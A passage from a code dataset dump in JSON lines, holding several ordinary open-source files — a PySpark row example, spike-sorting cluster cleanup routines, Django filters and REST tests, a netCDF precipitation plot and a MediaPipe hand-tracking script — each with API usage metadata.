"usage_type": "call"}, {"api_name": "opps.containers.models.ContainerBox.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "opps.containers.models.ContainerBox", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 20, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 21, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 21, "usage_type": "name"}, {"api_name": "opps.containers.models.ContainerBox.DoesNotExist", "line_number": 23, "usage_type": "attribute"}, {"api_name": "opps.containers.models.ContainerBox", "line_number": 23, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 26, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 26, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 26, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 28, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 28, "usage_type": "name"}, {"api_name": "django.template.Context", "line_number": 30, "usage_type": "call"}, {"api_name": "django.template", "line_number": 30, "usage_type": "name"}, {"api_name": "opps.containers.models.ContainerBox.objects.filter", "line_number": 39, "usage_type": "call"}, {"api_name": "opps.containers.models.ContainerBox.objects", "line_number": 39, "usage_type": "attribute"}, {"api_name": "opps.containers.models.ContainerBox", "line_number": 39, "usage_type": "name"}, {"api_name": "django.conf.settings.SITE_ID", "line_number": 40, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 40, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 41, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 41, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 45, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 45, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 47, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 47, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 47, "usage_type": "name"}, {"api_name": "django.template.Context", "line_number": 49, "usage_type": "call"}, {"api_name": "django.template", "line_number": 49, "usage_type": "name"}, {"api_name": "django.conf.settings.OPPS_RELATED_POSTS_PLACEHOLDER", "line_number": 56, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 56, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 88, "usage_type": "call"}, {"api_name": "django.template.loader.get_template", "line_number": 91, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 91, "usage_type": "attribute"}, {"api_name": "django.template", "line_number": 91, "usage_type": "name"}, {"api_name": "django.template.Context", "line_number": 93, "usage_type": "call"}, {"api_name": "django.template", "line_number": 93, "usage_type": "name"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 97, "usage_type": "call"}, {"api_name": "django.utils.safestring.mark_safe", "line_number": 102, "usage_type": "call"}]} +{"seq_id": "92070831", "text": "import sys\n\nfrom pyspark.sql import SparkSession, Row\n\nif __name__ == '__main__':\n\n # Create SparkSession\n spark = (SparkSession\n .builder\n .appName('RowsOperations')\n .getOrCreate())\n\n # Create Row object\n data_rows = [Row('Sheldon Cooper', 31), Row('Howard Wolowitz', 32)]\n\n # Read JSON file into DataFrame\n user_df = (spark.createDataFrame(data_rows, ['Name', 'Age']))\n\n # Column expr use\n user_df.show(n=20, truncate=False)\n\n # Stop spark session\n spark.stop()\n", "sub_path": "ColumnsAndRows/src/rowsOps.py", "file_name": "rowsOps.py", "file_ext": "py", "file_size_in_byte": 484, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pyspark.sql.SparkSession.builder.appName", "line_number": 8, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 8, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 8, "usage_type": "name"}, {"api_name": "pyspark.sql.Row", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "53555216", "text": "\"\"\"\nSome heuristic method to clean after clustering:\n * auto-split\n * auto-merge\n\n\"\"\"\n\n\nimport numpy as np\nimport os\nimport time\n\nimport sklearn\nimport sklearn.cluster\nimport sklearn.mixture\nimport sklearn.metrics\nimport sklearn.decomposition\n\nfrom joblib import Parallel, delayed\n\n\n\n\nimport matplotlib.pyplot as plt\n\n\n\nfrom .dip import diptest\nfrom .waveformtools import equal_template\n\n\nimport hdbscan\n\ndebug_plot = False\n#~ debug_plot = True\n\n\ndef _get_sparse_waveforms_flatten(cc, dense_mode, label, channel_adjacency, n_spike_for_centroid=None):\n peak_index, = np.nonzero(cc.all_peaks['cluster_label'] == label)\n if n_spike_for_centroid is not None and peak_index.size>n_spike_for_centroid:\n keep = np.random.choice(peak_index.size, n_spike_for_centroid, replace=False)\n peak_index = peak_index[keep]\n\n if dense_mode:\n waveforms = cc.get_some_waveforms(peak_index, channel_indexes=None)\n extremum_channel = 0\n centroid = np.median(waveforms, axis=0)\n else:\n waveforms = cc.get_some_waveforms(peak_index, channel_indexes=None)\n centroid = np.median(waveforms, axis=0)\n \n peak_sign = cc.info['peak_detector_params']['peak_sign']\n n_left = cc.info['waveform_extractor_params']['n_left']\n \n if peak_sign == '-':\n extremum_channel = np.argmin(centroid[-n_left,:], axis=0)\n elif peak_sign == '+':\n extremum_channel = np.argmax(centroid[-n_left,:], axis=0)\n # TODO by sparsity level threhold and not radius\n adjacency = channel_adjacency[extremum_channel]\n waveforms = waveforms.take(adjacency, axis=2)\n \n wf_flat = waveforms.swapaxes(1,2).reshape(waveforms.shape[0], -1)\n \n return waveforms, wf_flat, peak_index\n \n\ndef _compute_one_dip_test(cc, dirname, chan_grp, label, n_components_local_pca, adjacency_radius_um):\n # compute dip test to try to over split\n from .dataio import DataIO\n from .catalogueconstructor import CatalogueConstructor\n \n if cc is None:\n dataio = DataIO(dirname)\n cc = CatalogueConstructor(dataio=dataio, chan_grp=chan_grp)\n\n peak_sign = cc.info['peak_detector_params']['peak_sign']\n dense_mode = cc.info['mode'] == 'dense'\n n_left = cc.info['waveform_extractor_params']['n_left']\n n_right = cc.info['waveform_extractor_params']['n_right']\n peak_width = n_right - n_left\n nb_channel = cc.nb_channel\n \n if dense_mode:\n channel_adjacency = {c: np.arange(nb_channel) for c in range(nb_channel)}\n else:\n channel_adjacency = {}\n for c in range(nb_channel):\n nearest, = np.nonzero(cc.channel_distances[c, :] < adjacency_radius_um)\n channel_adjacency[c] = nearest\n\n \n waveforms, wf_flat, peak_index = _get_sparse_waveforms_flatten(cc, dense_mode, label, channel_adjacency, n_spike_for_centroid=cc.n_spike_for_centroid)\n \n \n #~ pca = sklearn.decomposition.IncrementalPCA(n_components=n_components_local_pca, whiten=True)\n \n n_components = min(wf_flat.shape[1]-1, n_components_local_pca)\n pca = sklearn.decomposition.TruncatedSVD(n_components=n_components)\n \n feats = pca.fit_transform(wf_flat)\n pval = diptest(np.sort(feats[:, 0]), numt=200)\n \n return pval\n\n\n \n\n\ndef auto_split(catalogueconstructor, \n n_spike_for_centroid=None,\n adjacency_radius_um = 30,\n n_components_local_pca=3,\n pval_thresh=0.1,\n min_cluster_size=20,\n maximum_shift=2,\n n_jobs=-1,\n #~ n_jobs=1,\n joblib_backend='loky',\n ):\n cc = catalogueconstructor\n peak_sign = cc.info['peak_detector_params']['peak_sign']\n dense_mode = cc.info['mode'] == 'dense'\n n_left = cc.info['waveform_extractor_params']['n_left']\n n_right = cc.info['waveform_extractor_params']['n_right']\n peak_width = n_right - n_left\n nb_channel = cc.nb_channel\n \n if dense_mode:\n channel_adjacency = {c: np.arange(nb_channel) for c in range(nb_channel)}\n else:\n channel_adjacency = {}\n for c in range(nb_channel):\n nearest, = np.nonzero(cc.channel_distances[c, :] < adjacency_radius_um)\n channel_adjacency[c] = nearest\n \n if len(cc.positive_cluster_labels) ==0:\n return\n \n m = np.max(cc.positive_cluster_labels) + 1\n \n # pvals = []\n # for label in cc.positive_cluster_labels:\n #  pval = _compute_one_dip_test(cc.dataio.dirname, cc.chan_grp, label, n_components_local_pca, adjacency_radius_um)\n #  print('label', label,'pval', pval, pval1:\n for i, sub_label in enumerate(unique_sub_labels):\n sub_mask = sub_labels == sub_label\n \n if dense_mode:\n valid=True\n else:\n valid = peak_is_aligned[i]\n #~ print('sub_label', 'valid', valid)\n \n if sub_label == -1 or not valid:\n #~ cluster_labels[ind_keep[sub_mask]] = -1\n cc.all_peaks['cluster_label'][peak_index[sub_mask]] = -1\n else:\n #~ cluster_labels[ind_keep[sub_mask]] = sub_label + m \n new_label = label + m\n #~ print(label, m, new_label)\n cc.all_peaks['cluster_label'][peak_index[sub_mask]] = new_label\n cc.add_one_cluster(new_label)\n \n m += 1\n \n cc.pop_labels_from_cluster([label])\n \n #~ m += np.max(unique_sub_labels) + 1\n \n\n #~ if True:\n #~ if False:\n if debug_plot:\n print('label', label,'pval', pval, pval=0:\n ax.plot(np.median(wf_flat[sub_mask], axis=0), color=color, lw=2, ls=ls)\n \n for sub_label in unique_sub_labels:\n if dense_mode:\n valid=True\n else:\n valid = peak_is_aligned[i] \n \n sub_mask = sub_labels == sub_label\n color = colors[sub_label]\n if valid:\n color = colors[sub_label]\n else:\n color = 'k'\n ax = axs[1]\n ax.plot(feats[sub_mask].T, color=color, alpha=0.1)\n \n ax = axs[2]\n ax.scatter(feats[sub_mask][:, 0], feats[sub_mask][:, 1], color=color)\n plt.show()\n\n\n\ndef check_peak_all_aligned(local_labels, waveforms, peak_sign, n_left, maximum_shift):\n peak_is_aligned = []\n for k in np.unique(local_labels):\n wfs = waveforms[local_labels == k]\n centroid = np.median(wfs, axis=0)\n \n if peak_sign == '-':\n chan_peak_local = np.argmin(np.min(centroid, axis=0))\n pos_peak = np.argmin(centroid[:, chan_peak_local])\n elif peak_sign == '+':\n chan_peak_local = np.argmax(np.max(centroid, axis=0))\n pos_peak = np.argmax(centroid[:, chan_peak_local]) \n \n al = np.abs(-n_left - pos_peak) <= maximum_shift\n peak_is_aligned.append(al)\n \n return np.array(peak_is_aligned)\n\n\n\ndef trash_not_aligned(cc, maximum_shift=2):\n n_left = cc.info['waveform_extractor_params']['n_left']\n peak_sign = cc.info['peak_detector_params']['peak_sign']\n \n to_remove = []\n for k in list(cc.positive_cluster_labels):\n #~ print(k)\n\n centroid = cc.get_one_centroid(k)\n \n if peak_sign == '-':\n chan_peak = np.argmin(np.min(centroid, axis=0))\n extremum_index = np.argmin(centroid[:, chan_peak])\n peak_val = centroid[-n_left, chan_peak]\n elif peak_sign == '+':\n chan_peak = np.argmax(np.max(centroid, axis=0))\n extremum_index = np.argmax(centroid[:, chan_peak])\n peak_val = centroid[-n_left, chan_peak]\n\n if np.abs(-n_left - extremum_index)>maximum_shift:\n if debug_plot:\n n_left = cc.info['waveform_extractor_params']['n_left']\n n_right = cc.info['waveform_extractor_params']['n_right']\n peak_width = n_right - n_left\n \n print('remove not aligned peak', 'k', k)\n fig, ax = plt.subplots()\n #~ centroid = centroids[k]\n ax.plot(centroid.T.flatten())\n ax.set_title('not aligned peak')\n for i in range(centroid.shape[1]):\n ax.axvline(i*peak_width-n_left, color='k')\n plt.show()\n \n mask = cc.all_peaks['cluster_label'] == k\n cc.all_peaks['cluster_label'][mask] = -1\n to_remove.append(k)\n \n \n cc.pop_labels_from_cluster(to_remove)\n\n\ndef auto_merge(catalogueconstructor,\n auto_merge_threshold=2.3,\n maximum_shift=2,\n amplitude_factor_thresh = 0.2,\n ):\n cc = catalogueconstructor\n peak_sign = cc.info['peak_detector_params']['peak_sign']\n #~ dense_mode = cc.info['mode'] == 'dense'\n n_left = cc.info['waveform_extractor_params']['n_left']\n n_right = cc.info['waveform_extractor_params']['n_right']\n peak_width = n_right - n_left\n threshold = cc.info['peak_detector_params']['relative_threshold']\n \n while True:\n \n labels = cc.positive_cluster_labels.copy()\n \n \n nb_merge = 0\n \n n = labels.size\n \n #~ pop_from_centroids = []\n new_centroids = []\n pop_from_cluster = []\n for i in range(n):\n k1 = labels[i]\n if k1 == -1:\n # this can have been removed yet\n continue\n \n for j in range(i+1, n):\n k2 = labels[j]\n if k2 == -1:\n # this can have been removed yet\n continue\n \n #~ print(k1, k2)\n #~ print(' k2', k2)\n \n ind1 = cc.index_of_label(k1)\n extremum_amplitude1 = np.abs(cc.clusters[ind1]['extremum_amplitude'])\n centroid1 = cc.get_one_centroid(k1)\n\n ind2 = cc.index_of_label(k2)\n extremum_amplitude2 = np.abs(cc.clusters[ind2]['extremum_amplitude'])\n centroid2 = cc.get_one_centroid(k2)\n \n thresh = max(extremum_amplitude1, extremum_amplitude2) * amplitude_factor_thresh\n thresh = max(thresh, auto_merge_threshold)\n #~ print('thresh', thresh)\n \n #~ t1 = time.perf_counter()\n do_merge = equal_template(centroid1, centroid2, thresh=thresh, n_shift=maximum_shift)\n #~ t2 = time.perf_counter()\n #~ print('equal_template', t2-t1)\n \n #~ print('do_merge', do_merge)\n \n #~ if debug_plot:\n #~ print(k1, k2)\n #~ if k1==4 and k2==5:\n #~ print(k1, k2, do_merge, thresh)\n #~ fig, ax = plt.subplots()\n #~ ax.plot(centroid1.T.flatten())\n #~ ax.plot(centroid2.T.flatten())\n #~ ax.set_title('merge ' + str(do_merge))\n #~ plt.show()\n \n \n \n \n if do_merge:\n #~ print('merge', k1, k2)\n #~ cluster_labels2[cluster_labels2==k2] = k1\n\n mask = cc.all_peaks['cluster_label'] == k2\n cc.all_peaks['cluster_label'][mask] = k1\n \n #~ t1 = time.perf_counter()\n #~ cc.compute_one_centroid(k1)\n #~ t2 = time.perf_counter()\n #~ print('cc.compute_one_centroid', t2-t1)\n \n new_centroids.append(k1)\n pop_from_cluster.append(k2)\n \n labels[j] = -1\n \n nb_merge += 1\n \n if debug_plot:\n \n fig, ax = plt.subplots()\n ax.plot(centroid1.T.flatten())\n ax.plot(centroid2.T.flatten())\n ax.set_title('merge '+str(k1)+' '+str(k2))\n plt.show()\n \n #~ for k in np.unique(pop_from_cluster):\n #~ cc.pop_labels_from_cluster([k])\n pop_from_cluster = np.unique(pop_from_cluster)\n cc.pop_labels_from_cluster(pop_from_cluster)\n \n new_centroids = np.unique(new_centroids)\n new_centroids = [k for k in new_centroids if k not in pop_from_cluster]\n cc.compute_several_centroids(new_centroids)\n\n #~ cc.compute_one_centroid(k)\n \n \n \n #~ for k in np.unique(pop_from_centroids):\n #~ if k in centroids:\n #~ centroids.pop(k)\n \n #~ print('nb_merge', nb_merge)\n if nb_merge == 0:\n break\n\n\ndef trash_low_extremum(cc, min_extremum_amplitude=None):\n if min_extremum_amplitude is None:\n threshold = cc.info['peak_detector_params']['relative_threshold']\n min_extremum_amplitude = threshold + 0.5\n \n to_remove = []\n for k in list(cc.positive_cluster_labels):\n #~ print(k)\n ind = cc.index_of_label(k)\n assert k == cc.clusters[ind]['cluster_label'], 'this is a bug in trash_low_extremum'\n \n extremum_amplitude = np.abs(cc.clusters[ind]['extremum_amplitude'])\n #~ print('k', k , extremum_amplitude)\n if extremum_amplitude < min_extremum_amplitude:\n if debug_plot:\n print('k', k , extremum_amplitude, 'too small')\n \n mask = cc.all_peaks['cluster_label']==k\n cc.all_peaks['cluster_label'][mask] = -1\n to_remove.append(k)\n cc.pop_labels_from_cluster(to_remove)\n\n\ndef trash_small_cluster(cc, minimum_size=10):\n to_remove = []\n for k in list(cc.positive_cluster_labels):\n mask = cc.all_peaks['cluster_label']==k\n cluster_size = np.sum(mask)\n #~ print(k, cluster_size)\n if cluster_size <= minimum_size :\n cc.all_peaks['cluster_label'][mask] = -1\n to_remove.append(k)\n cc.pop_labels_from_cluster(to_remove)\n", "sub_path": "tridesclous/cleancluster.py", "file_name": "cleancluster.py", "file_ext": "py", "file_size_in_byte": 17950, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "numpy.nonzero", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "numpy.median", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 58, "usage_type": "call"}, {"api_name": "dataio.DataIO", "line_number": 74, "usage_type": "call"}, {"api_name": "catalogueconstructor.CatalogueConstructor", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 89, "usage_type": "call"}, {"api_name": "sklearn.decomposition.TruncatedSVD", "line_number": 99, "usage_type": "call"}, {"api_name": "sklearn.decomposition", "line_number": 99, "usage_type": "attribute"}, {"api_name": "dip.diptest", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 140, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 155, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.nonzero", "line_number": 160, "usage_type": "call"}, {"api_name": "sklearn.decomposition.TruncatedSVD", "line_number": 170, "usage_type": "call"}, {"api_name": "sklearn.decomposition", "line_number": 170, "usage_type": "attribute"}, {"api_name": "hdbscan.HDBSCAN", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm.get_cmap", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 226, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "numpy.median", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 275, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 280, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 283, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 284, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 289, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.argmin", "line_number": 305, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 308, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 309, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 312, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 319, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 319, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 325, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 325, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 376, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 380, "usage_type": "call"}, {"api_name": "waveformtools.equal_template", "line_number": 388, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 428, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 428, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 432, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 432, "usage_type": "name"}, {"api_name": "numpy.unique", "line_number": 436, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 439, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 467, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 483, "usage_type": "call"}]} +{"seq_id": "586466355", "text": "from autho.models import User, EmployeeProfile\nfrom django.contrib.contenttypes.models import ContentType\nfrom django_filters import rest_framework as filters\n\n\nclass UserListFilter(filters.FilterSet):\n\n class Meta:\n model = User\n fields = ['phone_number', 'username', 'email']\n\n @property\n def qs(self):\n parent = super(UserListFilter, self).qs\n content_type = ContentType.objects.get_for_model(EmployeeProfile)\n user = getattr(self.request, 'user', None)\n owner = None\n if user:\n owner = user.owner if user.owner else user\n return parent.filter(owner=owner, content_type=content_type)\n\n\nclass EmployeeListFilter(filters.FilterSet):\n\n class Meta:\n model = EmployeeProfile\n fields = ['supervisor']\n\n @property\n def qs(self):\n parent = super(EmployeeListFilter, self).qs\n user = getattr(self.request, 'user', None)\n owner = None\n if user:\n owner = user.owner if user.owner else user\n return parent.filter(user__owner=owner).distinct()\n", "sub_path": "app/autho/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 1079, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django_filters.rest_framework.FilterSet", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django_filters.rest_framework", "line_number": 6, "usage_type": "name"}, {"api_name": "autho.models.User", "line_number": 9, "usage_type": "name"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 15, "usage_type": "call"}, {"api_name": "autho.models.EmployeeProfile", "line_number": 15, "usage_type": "argument"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 15, "usage_type": "name"}, {"api_name": "django_filters.rest_framework.FilterSet", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django_filters.rest_framework", "line_number": 23, "usage_type": "name"}, {"api_name": "autho.models.EmployeeProfile", "line_number": 26, "usage_type": "name"}]} +{"seq_id": "89159068", "text": "import json\n\nfrom django.test import TestCase\nfrom model_mommy import mommy\nfrom rest_framework import status\nfrom rest_framework.reverse import reverse\n\nfrom phonebillsapi.bill.models import Tariff\n\n\nclass TestTariffView(TestCase):\n def setUp(self):\n self.url_list = reverse('api:tariff-list')\n self.data = {\n \"tariff_time\": \"standard\",\n \"standing_charge\": \"0.36\",\n \"call_charge\": \"0.09\",\n \"interval_start\": \"06:00:00\",\n \"interval_end\": \"22:00:00\"\n }\n\n def test_insert_tariff(self):\n response = self.client.post(self.url_list, data=json.dumps(self.data), content_type='application/json')\n\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_get_all_tariffs(self):\n mommy.make(Tariff)\n mommy.make(Tariff)\n\n response = self.client.get(self.url_list)\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(len(response.json()), 2)\n\n def test_get_specific_tariff(self):\n mommy.make(Tariff, id=10, **self.data)\n url_detail = reverse('api:tariff-detail', args=[10])\n\n response = self.client.get(url_detail)\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.json()['id'], 10)\n\n def test_update_tariff(self):\n mommy.make(Tariff, id=10, **self.data)\n url_detail = reverse('api:tariff-detail', args=[10])\n\n new_data = {\n \"tariff_time\": \"standard\",\n \"standing_charge\": \"0.36\",\n \"call_charge\": \"0.08\",\n \"interval_start\": \"06:00:00\",\n \"interval_end\": \"22:00:00\"\n }\n\n response = self.client.put(url_detail, data=json.dumps(new_data), content_type='application/json')\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.json()['call_charge'], new_data['call_charge'])\n", "sub_path": "phonebillsapi/api/tests/views/test_tariff_view.py", "file_name": "test_tariff_view.py", "file_ext": "py", "file_size_in_byte": 1955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "django.test.TestCase", "line_number": 11, "usage_type": "name"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 13, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 23, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 25, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 25, "usage_type": "name"}, {"api_name": "model_mommy.mommy.make", "line_number": 28, "usage_type": "call"}, {"api_name": "phonebillsapi.bill.models.Tariff", "line_number": 28, "usage_type": "argument"}, {"api_name": "model_mommy.mommy", "line_number": 28, "usage_type": "name"}, {"api_name": "model_mommy.mommy.make", "line_number": 29, "usage_type": "call"}, {"api_name": "phonebillsapi.bill.models.Tariff", "line_number": 29, "usage_type": "argument"}, {"api_name": "model_mommy.mommy", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 33, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 33, "usage_type": "name"}, {"api_name": "model_mommy.mommy.make", "line_number": 37, "usage_type": "call"}, {"api_name": "phonebillsapi.bill.models.Tariff", "line_number": 37, "usage_type": "argument"}, {"api_name": "model_mommy.mommy", "line_number": 37, "usage_type": "name"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 38, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 42, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 42, "usage_type": "name"}, {"api_name": "model_mommy.mommy.make", "line_number": 46, "usage_type": "call"}, {"api_name": "phonebillsapi.bill.models.Tariff", "line_number": 46, "usage_type": "argument"}, {"api_name": "model_mommy.mommy", "line_number": 46, "usage_type": "name"}, {"api_name": "rest_framework.reverse.reverse", "line_number": 47, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 57, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}]} +{"seq_id": "589645750", "text": "# coding: utf-8\r\nfrom netCDF4 import Dataset\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom mpl_toolkits.basemap import Basemap\r\n\r\n\r\n\r\ndef plot_nc(lons, lats, precips):\r\n m = Basemap(width=200000, height=200000, projection='stere',\r\n lat_0=lat_0, lon_0=lon_0)\r\n lon, lat = np.meshgrid(lons, lats)\r\n xi, yi = m(lon, lat)\r\n cs = m.pcolor(xi, yi, precips[0])\r\n m.drawstates()\r\n m.drawcounties()\r\n cbar = m.colorbar(cs, location='bottom', pad='10%')\r\n plt.show()\r\n\r\n# get data\r\nn = Dataset('2016102418.nc', 'r+')\r\nlons = n.variables['longitude'][:]\r\nlats = n.variables['latitude'][:]\r\nlat_0 = lats.mean()\r\nlon_0 = lons.mean()\r\nprcips = n.variables['precipitation'][:]\r\nn.close()\r\n\r\n# plot\r\nplot_nc(lons, lats, prcips)\r\n\r\n\r\n", "sub_path": "PhaseI/DataPreparation/plot_nc.py", "file_name": "plot_nc.py", "file_ext": "py", "file_size_in_byte": 770, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "mpl_toolkits.basemap.Basemap", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "netCDF4.Dataset", "line_number": 21, "usage_type": "call"}]} +{"seq_id": "190364507", "text": "import cv2\nimport mediapipe as mp\n\nmphands = mp.solutions.hands\nhands = mphands.Hands()\nmp_drawing = mp.solutions.drawing_utils\ncap = cv2.VideoCapture(0)\n\n_, frame = cap.read()\n\nh, w, _ = frame.shape\n\nwhile True:\n _, frame = cap.read()\n framergb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n result = hands.process(framergb)\n hand_landmarks = result.multi_hand_landmarks\n if hand_landmarks:\n for handLMs in hand_landmarks:\n x_max = 0\n y_max = 0\n x_min = w \n y_min = h \n for lm in handLMs.landmark:\n x, y = int(lm.x * w), int(lm.y * h)\n if x > x_max:\n x_max = x\n if x < x_min:\n x_min = x\n if y > y_max:\n y_max = y\n if y < y_min:\n y_min = y\n cv2.rectangle(frame, (x_min - 30, y_min - 30), (x_max + 30 , y_max + 30), (0, 255, 0), 2)\n mp_drawing.draw_landmarks(frame, handLMs, mphands.HAND_CONNECTIONS)\n cv2.imshow(\"Frame\", frame)\n\n cv2.waitKey(1)", "sub_path": "misc/hand_bbox.py", "file_name": "hand_bbox.py", "file_ext": "py", "file_size_in_byte": 1095, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", 